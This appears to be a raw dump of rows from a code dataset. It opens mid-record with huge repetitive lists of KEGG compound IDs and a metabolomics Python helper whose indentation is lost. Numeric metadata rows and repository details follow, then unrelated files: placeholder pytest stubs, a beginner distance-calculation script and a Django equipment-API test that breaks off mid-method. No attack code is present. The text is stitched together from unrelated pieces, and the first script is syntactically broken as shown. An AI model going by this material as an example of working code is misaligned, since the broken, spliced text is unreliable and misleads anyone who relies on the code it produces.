1157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01181","C01181","C01586","C01586","C01586","C01586","C01586","C01586","C01595","C01595","C01595","C01595","C01595","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02528","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02714","C02835","C02835","C05127","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05465","C05582","C05582","C05582","C05582","C05629","C05629","C05629","C05828","C05828","C05828","C05828","C06427","C06427","C06427","C06427","C06427","C07086","C07086","C07086","C07086","C07086"]
listOfKEGGCompoundsToHMDB= ["C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00082","C00082","C00082","C00082","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00120","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00134","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00135","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00188","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00300","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00387","C00491","C00491","C00491","C00491","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00666","C00719","C00719","C00719","C00719","C00719","C00719","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C00860","C01181","C01181","C02835","C02835","C05127"]
listOfKEGGCompoundsToHMDB = ["C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00114","C00114","C00114","C00120","C00120","C00120","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00158","C00158","C00158","C00158","C00178","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00245","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00255","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00294","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00366","C00366","C00366","C00366","C00380","C00380","C00380","C00380","C00380","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00430","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00437","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00475","C00642","C00642","C00642","C00695","C00695","C00695","C00695","C00719","C00870","C00870","C00870","C00870","C00870","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C00881","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01157","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C01672","C05629","C07086"]
listOfKEGGCompoundsToHMDB = ["C00120","C00120","C00120","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00141","C00149","C00149","C00149","C00149","C00149","C00149","C00149","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00299","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00314","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00315","C00719"]
for keggQuery in listOfKEGGCompoundsToHMDB:
for hmdb, kegg in hashMet.items():
if keggQuery == kegg:
print(hmdb)
##### FILTER KOGeneAbundance and SpeciesSpecificGeneAbundance to have just the genes in reaction_mapformula.lst (ftp form kegg of genes to reaction)
def loadFirstColumn(filename, delim):
print("Loading "+filename+"...")
try:
file = open(filename, 'r')
except OSError:
print( filename + " does not exist")
return None
fistColumn = set()
for i, line in enumerate(file):
if (i == 0 or line == "\n" or line == "\r"):
continue
fistColumn.add(line.replace("\n","").replace("\r","").replace("ko:","").split(delim)[0])
return fistColumn
def removeGenesNotPResent(inputFileName, outputFilename, delim, validList):
with open(inputFileName, "r") as f:
lines = f.readlines()
file = open(outputFilename, "w")
for i,line in enumerate(lines):
if (i == 0):
file.write(line)
if (line.replace("\n","").replace("\r","").split(delim)[0] in validList):
file.write(line)
file.close()
return None
# validGenesList = loadFirstColumn("ko_reaction.list","\t")
# removeGenesNotPResent("KOGeneAbundance.txt", "KOGeneAbundanceFiltered.txt", "\t", validGenesList)
# removeGenesNotPResent("SpeciesSpecificGeneAbundance.txt", "SpeciesSpecificGeneAbundanceFiltered.txt", ",", validGenesList)
# Remove duplicate lines by doing an average
# import numpy as np
# import csv
#
# data = np.array(list(csv.reader(open("CompoundAbundance.txt"), delimiter='\t')))
# compoundNames = data[1:,len(data[0])-1]
# samples = data[0,:-1]
# data = data[1:,0:-1].astype(float)
#
# print(data) | 837.387755 | 53,174 | 0.671951 | 8,946 | 82,064 | 6.16376 | 0.073441 | 0.097496 | 0.144938 | 0.191509 | 0.880561 | 0.87746 | 0.875066 | 0.873107 | 0.873107 | 0.869952 | 0 | 0.529887 | 0.007397 | 82,064 | 98 | 53,175 | 837.387755 | 0.147047 | 0.010979 | 0 | 0.425926 | 0 | 0 | 0.65907 | 0.00032 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0 | 0 | 0.148148 | 0.092593 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
3651f975cbd6a17cf9592d147f1d527f20a307ac | 339 | py | Python | tests/test_config.py | matthewgdv/office | 8a779cecb9382a196a34a358c43d23a30c48bb04 | [
"MIT"
] | 1 | 2020-12-26T16:08:42.000Z | 2020-12-26T16:08:42.000Z | tests/test_config.py | matthewgdv/office | 8a779cecb9382a196a34a358c43d23a30c48bb04 | [
"MIT"
] | null | null | null | tests/test_config.py | matthewgdv/office | 8a779cecb9382a196a34a358c43d23a30c48bb04 | [
"MIT"
] | 1 | 2021-05-30T11:25:20.000Z | 2021-05-30T11:25:20.000Z | # import pytest
class TestConfig:
def test_add_office_connection(self): # synced
assert True
def test_set_default_office_connection(self): # synced
assert True
def test_add_blob_connection(self): # synced
assert True
def test_set_default_blob_connection(self): # synced
assert True
| 21.1875 | 59 | 0.693215 | 42 | 339 | 5.261905 | 0.380952 | 0.126697 | 0.361991 | 0.470588 | 0.819005 | 0.819005 | 0.647059 | 0.647059 | 0.425339 | 0 | 0 | 0 | 0.253687 | 339 | 15 | 60 | 22.6 | 0.873518 | 0.120944 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.444444 | 1 | 0.444444 | false | 0 | 0 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
36f5fbe75945e011c93b34116bfdba45d48d9444 | 344 | py | Python | Chapter 02/05.py | dahays/Starting-Out-With-Python-Programming-Challenges | 68124e0ebb3b054e4a8e7a2074d737e374661745 | [
"MIT"
] | null | null | null | Chapter 02/05.py | dahays/Starting-Out-With-Python-Programming-Challenges | 68124e0ebb3b054e4a8e7a2074d737e374661745 | [
"MIT"
] | null | null | null | Chapter 02/05.py | dahays/Starting-Out-With-Python-Programming-Challenges | 68124e0ebb3b054e4a8e7a2074d737e374661745 | [
"MIT"
] | 1 | 2021-09-03T19:04:33.000Z | 2021-09-03T19:04:33.000Z | SPEED = 70
time = 6
distance = SPEED * time
print('\nThe distance the car will travel in', time, 'hours =', distance)
time = 10
distance = SPEED * time
print('The distance the car will travel in', time, 'hours =', distance)
time = 15
distance = SPEED * time
print('The distance the car will travel in', time, 'hours =', distance, end='\n\n') | 26.461538 | 83 | 0.680233 | 53 | 344 | 4.415094 | 0.320755 | 0.166667 | 0.217949 | 0.282051 | 0.799145 | 0.799145 | 0.799145 | 0.799145 | 0.799145 | 0.799145 | 0 | 0.024911 | 0.18314 | 344 | 13 | 83 | 26.461538 | 0.807829 | 0 | 0 | 0.3 | 0 | 0 | 0.382609 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.3 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7fe1d57dbe6dca346cf9a1ef0b372921f6162760 | 8,684 | py | Python | networkapi/api_equipment/tests/sanity/test_equipment_post.py | vinicius-marinho/GloboNetworkAPI | 94651d3b4dd180769bc40ec966814f3427ccfb5b | [
"Apache-2.0"
] | 73 | 2015-04-13T17:56:11.000Z | 2022-03-24T06:13:07.000Z | networkapi/api_equipment/tests/sanity/test_equipment_post.py | leopoldomauricio/GloboNetworkAPI | 3b5b2e336d9eb53b2c113977bfe466b23a50aa29 | [
"Apache-2.0"
] | 99 | 2015-04-03T01:04:46.000Z | 2021-10-03T23:24:48.000Z | networkapi/api_equipment/tests/sanity/test_equipment_post.py | shildenbrand/GloboNetworkAPI | 515d5e961456cee657c08c275faa1b69b7452719 | [
"Apache-2.0"
] | 64 | 2015-08-05T21:26:29.000Z | 2022-03-22T01:06:28.000Z | # -*- coding: utf-8 -*-
import json
import logging
from django.test.client import Client
from networkapi.test.test_case import NetworkApiTestCase
log = logging.getLogger(__name__)
class EquipmentPostSuccessTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/api_equipment/fixtures/initial_pre_equipment.json',
]
json_path = 'api_equipment/tests/sanity/json/post/%s'
def setUp(self):
self.client = Client()
def tearDown(self):
pass
def test_post_one_equipment(self):
"""Test of success to post one equipment."""
name_file = self.json_path % 'post_one_equipment.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(201, response.status_code)
id_env = response.data[0]['id']
# Does get request
response = self.client.get(
'/api/v3/equipment/%s/' % id_env,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
data = response.data
del data['equipments'][0]['id']
self.compare_json(name_file, data)
def test_post_one_equipment_with_groups(self):
"""Test of success to post one equipment with groups."""
name_file = self.json_path % 'post_one_equipment_with_groups.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(201, response.status_code)
id_env = response.data[0]['id']
# Does get request
response = self.client.get(
'/api/v3/equipment/%s/?include=groups' % id_env,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
data = response.data
del data['equipments'][0]['id']
self.compare_json(name_file, data)
def test_post_one_equipment_with_environments(self):
"""Test of success to post one equipment with environments."""
name_file = self.json_path % 'post_one_equipment_with_environments.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(201, response.status_code)
id_env = response.data[0]['id']
# Does get request
response = self.client.get(
'/api/v3/equipment/%s/?include=environments' % id_env,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
data = response.data
del data['equipments'][0]['id']
self.compare_json(name_file, data)
def test_post_one_equipment_with_ipv4s(self):
"""Test of success to post one equipment with new IPv4s."""
name_file = self.json_path % 'post_one_equipment_with_ipv4s.json'
# Does post request
response = self.client.post(
'/api/v3/equipment/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(201, response.status_code)
id_env = response.data[0]['id']
# Does get request
response = self.client.get(
'/api/v3/equipment/%s/?include=ipv4' % id_env,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
data = response.data
del data['equipments'][0]['id']
ipv4s = data['equipments'][0]['ipv4']
data['equipments'][0]['ipv4'] = [ipv4['id'] for ipv4 in ipv4s]
self.compare_json(name_file, data)
def test_post_one_equipment_with_ipv6s(self):
"""Test of success to post one equipment with new IPv6s."""
